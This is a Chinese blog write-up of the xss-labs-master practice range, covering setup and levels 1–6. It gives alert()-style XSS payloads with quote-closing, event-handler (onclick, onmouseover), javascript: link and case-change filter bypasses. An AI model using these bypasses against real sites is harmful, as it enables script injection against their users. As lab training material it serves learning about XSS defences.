当前位置:网站首页>xss-labs-master靶场环境搭建与1-6关解题思路
xss-labs-master靶场环境搭建与1-6关解题思路
2022-07-02 09:41:00 【阿文、...】
环境搭建
1、靶场地址
2、小皮面板
3、windows机器
4、把压缩包解压,放在www目录下,然后访问即可

实验步骤
第一关


直接输入就行:<script>alert('xss')</script>
第二关


"> <script>alert('xss')</script><"闭合前面同时也闭合后面的内容

第三关
使用上面的弹窗语句,发现被转义了
拿出函数后,发现双引号已经被注释成"
<input name="keyword" value=""><script>alert("xss")</script><"">

发现双引号被转义后,我们尝试使用单引号绕过,但是<又被转义了,我真的是服了
输入参数:'><script>alert('xss')</script><'
页面参数:<input name="keyword" value="" ><script>alert('xss')<="" script><''="">
查看源码发现一个奇怪的参数
我们看看他的含义,发现就是转义函数
htmlspecialchars
换个参数,' onclick="alert('xxs') ',表示当用户点击方框后弹窗

他单引号转成双引号恰恰是我们需要的,改一下poc' onclick='alert(/xxs/) '
过!
当然,你也可以使用另一个事件绕过:'onmouseover='alert(/当鼠标悬停时弹窗/)',同样的把单引号换成斜杠!
测试的时候建议本地搭建环境,只有本地能弹窗,靶场才可能弹窗
第四关
套用上面的代码,发现过不了
f12检查,发现前后两端是双引号,我们把单引号改成双引号试试
" οnclick="alert(/xxs/) "
点击方框后,成功过关
第五关
老规矩,吃老本
这里很奇怪啊,为什么会转义第一个字母,模糊测试试了一下。

看一下源码,这里匹配的很硬核啊
由于懒得折腾,<script>和on开头的函数我不会再用了,哈哈
我用a标签试试
"><a href=javascript:alert(1)>
点后面的括号,直接过!
第六关
老规矩,吃老本
"><a href=javascript:alert(1)>

这里的href被转义成了hr_ef,用大小写绕过


看看源码,多了两个匹配项目
先到这里,后期情况更新
边栏推荐
- Installation of ROS gazebo related packages
- Esp32 audio frame esp-adf add key peripheral process code tracking
- Develop scalable contracts based on hardhat and openzeppelin (II)
- What week is a date obtained by QT
- 多文件程序X32dbg动态调试
- GGPlot Examples Best Reference
- Map set assignment to database
- Pyqt5+opencv project practice: microcirculator pictures, video recording and manual comparison software (with source code)
- ESP32存储配网信息+LED显示配网状态+按键清除配网信息(附源码)
- 6. Introduce you to LED soft film screen. LED soft film screen size | price | installation | application
猜你喜欢

HOW TO ADD P-VALUES TO GGPLOT FACETS

抖音海外版TikTok:正与拜登政府敲定最终数据安全协议

Take you ten days to easily finish the finale of go micro services (distributed transactions)

在连接mysql数据库的时候一直报错

Compilation errors and printout garbled problems caused by Chinese content in vs2019 code

How to Create a Nice Box and Whisker Plot in R

2022年4月17日五心红娘团队收获双份喜报

Data analysis - Matplotlib sample code

Tidb DM alarm DM_ sync_ process_ exists_ with_ Error troubleshooting

Amazon cloud technology community builder application window opens
随机推荐
CTF record
Always report errors when connecting to MySQL database
Principe du contrat évolutif - delegatecall
Develop scalable contracts based on hardhat and openzeppelin (II)
数字化转型挂帅复产复工,线上线下全融合重建商业逻辑
Homer forecast motif
电脑无缘无故黑屏,无法调节亮度。
File operation (detailed!)
TDSQL|就业难?腾讯云数据库微认证来帮你
ESP32 Arduino 引入LVGL 碰到的一些问题
QT meter custom control
[cloud native] 2.5 kubernetes core practice (Part 2)
YYGH-BUG-04
FLESH-DECT(MedIA 2021)——一个material decomposition的观点
微信小程序利用百度api达成植物识别
map集合赋值到数据库
6. Introduce you to LED soft film screen. LED soft film screen size | price | installation | application
How to Easily Create Barplots with Error Bars in R
How to Create a Nice Box and Whisker Plot in R
Dynamic memory (advanced 4)